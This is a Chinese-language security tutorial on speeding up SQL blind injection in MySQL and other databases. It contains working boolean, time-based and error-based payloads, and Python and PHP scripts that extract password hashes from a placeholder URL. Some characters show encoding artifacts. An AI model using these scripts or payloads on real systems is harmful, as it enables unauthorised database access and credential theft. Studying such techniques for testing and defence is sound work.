詳解SQL盲注測試高級技巧
這篇文章主要寫了一些加快盲注速度的技巧和盲注中比較精巧的語句,雖然注入并不是什么新技術(shù)了。但是數(shù)據(jù)庫注入漏洞依然困擾著每一個安全廠商,也鞭策著每一個安全從業(yè)者不斷前進。
首先來簡單介紹一下盲注,盲注是不能通過直接顯示的途徑來獲取數(shù)據(jù)庫數(shù)據(jù)的方法。在盲注中,攻擊者根據(jù)其返回頁面的不同來判斷信息(可能是頁面內(nèi)容的不同,也可以是響應(yīng)時間不同)。一般情況下,盲注可分為三類。
Booleanbase Timebase Errorbase
其中第一類Boolean就是我們最常接觸到的普通盲注。
比如在where語句中可以構(gòu)造or 1=1來使返回頁面不同。(這里用mysql演示一下,大家體會就好)
mysql> select 123 from dual where 1=1;
+-----+
| 123 |
+-----+
| 123 |
+-----+
1 row in set (0.00 sec)
mysql> select 123 from dual where 1=0;
Empty set (0.00 sec)
如果注入點在order by后面,那么則可以使用判斷語句來構(gòu)造報錯。(其實order by后面的注入也可以根據(jù)返回結(jié)果的順序來判斷,這里自由發(fā)揮就好:P)
mysql> select 1 from te order by if(1,1,(select 1 union select 2)) limit 0,3;
+---+
| 1 |
+---+
| 1 |
| 1 |
| 1 |
+---+
3 rows in set (0.00 sec)
mysql> select 1 from te order by if(0,1,(select 1 union select 2)) limit 0,3;
ERROR 1242 (21000): Subquery returns more than 1 row
基于時間的盲注的話,mysql主要涉及兩個函數(shù),sleep banchmark 基本是使用如下。
mysql> select 1 from te where if(1=1,sleep(1),1) limit 0,1;
Empty set (27.00 sec)
mysql> select 1 from te where if(1=2,sleep(1),1) limit 0,1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
基于報錯的盲注,需要網(wǎng)站顯示數(shù)據(jù)庫報錯信息,后面會有詳細(xì)闡述。
知道了怎么判斷ture or false之后就是獲取數(shù)據(jù)了,當(dāng)然你可以暴力測試每一個ascii碼,不過這需要很多次嘗試,如果你家正巧網(wǎng)速不好那么速度將會是十分緩慢的。
拿32位hash為例,暴力猜解的話許要 16*32=512次查詢(因為hash一般是16進制,只有16種可能)。如果是一段包含大小寫字母和特殊字符的32位字符串那?大概需要 72*32=2304次查詢,這就比較多了。想要減少盲注查詢的次數(shù),一般會用到如下幾種方法。
字頻統(tǒng)計:
根據(jù)英文中字母出現(xiàn)的頻率進行猜測,這種方法僅局限于用戶名這樣有意義的字符串,并不能應(yīng)用于hash這樣的無規(guī)律字符串。而且僅限于純字母的猜測。wiki百科上有字母使用頻率的統(tǒng)計。
那么根據(jù)字頻統(tǒng)計,e出現(xiàn)的概率最高,a其次,那我們就先猜測e,再猜測a。更近一步,我們可以使用雙字的字頻來進一步提高效率,比如th在英文中出現(xiàn)的概率很高。那么在第一個字母是t之后,我們下個字符第一個猜測h。
ps.這種方法的效率有多高哪?只能說看臉。
二分查找,位運算法:
把他們兩個放在一起是因為他們的作用是相同的都會把試探字符串的次數(shù)降低到log(n)*length (n為可能字符的數(shù)量)。
首先來說二分查找,它的原理是把可能出現(xiàn)的字符看做一個有序的序列,這樣在查找所要查找的元素時,首先與序列中間的元素進行比較,如果大于這個元素,就在當(dāng)前序列的后半部分繼續(xù)查找,如果小于這個元素,就在當(dāng)前序列的前半部分繼續(xù)查找,直到找到相同的元素,或者所查找的序列范圍為空為止。
使用而返查找確定一個hash散列的一位,只需要4次查詢(2^4=16),也就是說確定一個32位hash,只需要126次請求,大大縮短了查詢的次數(shù)。
這里給出一個二分查找的pyhton源代碼
- import urllib
- import urllib2
- def doinject(payload):
- url = 'xxxxxxxxxxxxxxxxxxxxx'
- values = {'injection':payload,'inject':'Inject'}
- data = urllib.urlencode(values)
- #print data
- req = urllib2.Request(url, data)
- req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')
- response = urllib2.urlopen(req)
- the_page = response.read()
- if (the_page.find("Welcome back")>0):
- return True
- else:
- return False
- wordlist = "0123456789ABCDEF"
- res = ""
- for i in range(1,33):
- s=0
- t=15
- while (s<t):
- if (t-s==1):
- if doinject('\' or substring(password,'+str(i)+',1)=\''+wordlist[t]+'\' -- LanLan'):
- m=t
- break
- else:
- m=s
- break
- m=(s+t)/2
- if doinject('\' or substring(password,'+str(i)+',1)>\''+wordlist[m]+'\' -- LanLan'):
- s=m+1
- print wordlist[s]+":"+wordlist[t]
- else:
- t=m
- print wordlist[s]+":"+wordlist[t]
- res = res+wordlist[m]
- print res
- 這里還有使用正則表達式來進行二分查找的php實現(xiàn)
- $sUrl = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
- $sPost = 'inject=Inject&injection=';
- $sCharset = 'ABCDEF0123456789';
- /* for every character */
- for ($i=0, $hash=''; $i<32; ++$i) {
- $ch = $sCharset;
- do {
- $ch1 = substr($ch, 0, intval(strlen($ch)/2));
- $ch2 = substr($ch, intval(strlen($ch)/2));
- $p = $sPost.'absolutelyimpossible\' OR 1=(SELECT 1 FROM blight WHERE password REGEXP \'^'.$hash.'['.$ch1.']\' AND sessid=xxx) AND \'1\'=\'1';
- $res = libHTTP::POST($sUrl, $p);
- if (strpos($res['content'], 'Your password is wrong') === false)
- $ch = $ch1;
- else
- $ch = $ch2;
- } while (strlen($ch) > 1);
- $hash .= $ch;
- echo "\rhash: ".$hash;
- }
ps:上面的代碼都是針對32位hash的盲注
再說位運算,它的原理是每次請求確定二進制的一位,對于ascii碼連續(xù)的區(qū)間時間復(fù)雜度為log(n)*length,所以相對于二分查找,它應(yīng)用起來比較有局限性。
mysql中位運算的與運算是&,我們主要用它來進行猜測,比如a的ascii碼是1100001,那么我們可以使用1,2,4,8,16…..依次與他進行與運算,最終得到結(jié)果。
mysql> select ord('a') & 1;
+--------------+
| ord('a') & 1 |
+--------------+
| 1 |
+--------------+
1 row in set (0.00 sec)
mysql> select ord('a') & 2;
+--------------+
| ord('a') & 2 |
+--------------+
| 0 |
+--------------+
1 row in set (0.00 sec)
mysql> select ord('a') & 4;
+--------------+
| ord('a') & 4 |
+--------------+
| 0 |
+--------------+
1 row in set (0.00 sec)
基于時間的盲注:
上面的方法,都是通過返回頁面的不同來獲取信息,所以理論上來說每次,最多只能確定一個二進制位(true or false)。但是,在盲注過程中還有一個重要的因素可以幫助我們獲取信息,那就是頁面返回時間的長短。通過如下的語句,我們可以通過一次請求確定一個字符的ascii碼。如果是一串32位的hash,那么只需要32次請求,即可得到答案。
' or sleep(ord(substr(password,1,1))) --
利用語句一般可以寫成這樣
mysql> select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));
1 row in set (6.00 sec)
mysql> select sleep(find_in_set(mid(@@version, 2, 1), '0,1,2,3,4,5,6,7,8,9,.'));
1 row in set (11.00 sec)
推薦使用,sleep而不要使用benchmark,因為sleep不會占用cpu而且比較穩(wěn)定。
下面給出一個針對32位hash的盲注算法
import urllib
import urllib2
import socket
from time import time
socket.setdefaulttimeout(1000000)
def doinject(payload):
url = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
values = {'injection':payload,'inject':'Inject'}
data = urllib.urlencode(values)
#print data
req = urllib2.Request(url, data)
req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxx')
start = time()
response = urllib2.urlopen(req)
end = time()
#print response.read()
index = int(end-start)
print 'index:'+ str(index)
print 'char:' + wordlist[index-1]
return index
wordlist = "0123456789ABCDEF"
res = ""
for i in range(1,34):
num = doinject('\' or sleep( find_in_set(substring(password, '+str(i)+', 1), \'0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F\')) -- LanLan')
res = res+wordlist[num-1]
print res
這里還有注意一點,sleep在where語句中會被計算多次,在實際應(yīng)用中需要根據(jù)表中的記錄數(shù),做相應(yīng)的處理。
比如有一個2個記錄的表
select count(*) from test;
+----------+
| count(*) |
+----------+
| 2 |
+----------+
如果直接查詢,因為兩個記錄都會引發(fā)查詢所以會觸發(fā)兩次sleep()延遲12秒
select * from test where sleep(locate(mid(@@version, 1, 1), '0123456789.'));
Empty set (12.00 sec)
這里在前面使用一個條件語句,因為and前面的表達式如果為false則后面的不執(zhí)行,所以sleep執(zhí)行一次,延遲6秒
select * from test where a=1 and sleep(locate(mid(@@version, 1, 1), '0123456789.'));
Empty set (6.00 sec)
ps.這種方法很怕網(wǎng)絡(luò)不穩(wěn)定。
基于報錯的盲注:
如果頁面上顯示數(shù)據(jù)的報錯信息,那么可以直接使用報錯的方式把想要的信息爆出來。
比如在mysql中我們可以使用如下的經(jīng)典語句進行報錯。
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
這是網(wǎng)上流傳很廣的一個版本,可以簡化成如下的形式。
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
如果關(guān)鍵的表被禁用了,可以使用這種形式
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果rand被禁用了可以使用用戶變量來報錯
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
其實這是mysql的一個bug所引起的,其他數(shù)據(jù)庫都不會因為這個問題而報錯。
另外,在mysql5.1版本新加入兩個xml函數(shù),也可以用來報錯。
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
而在其他數(shù)據(jù)庫中也可以使用不同的方法構(gòu)成報錯
PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--
MSSQL: /?param=1 and(1)=convert(int,@@version)--
Sybase: /?param=1 and(1)=convert(int,@@version)--
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select
replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--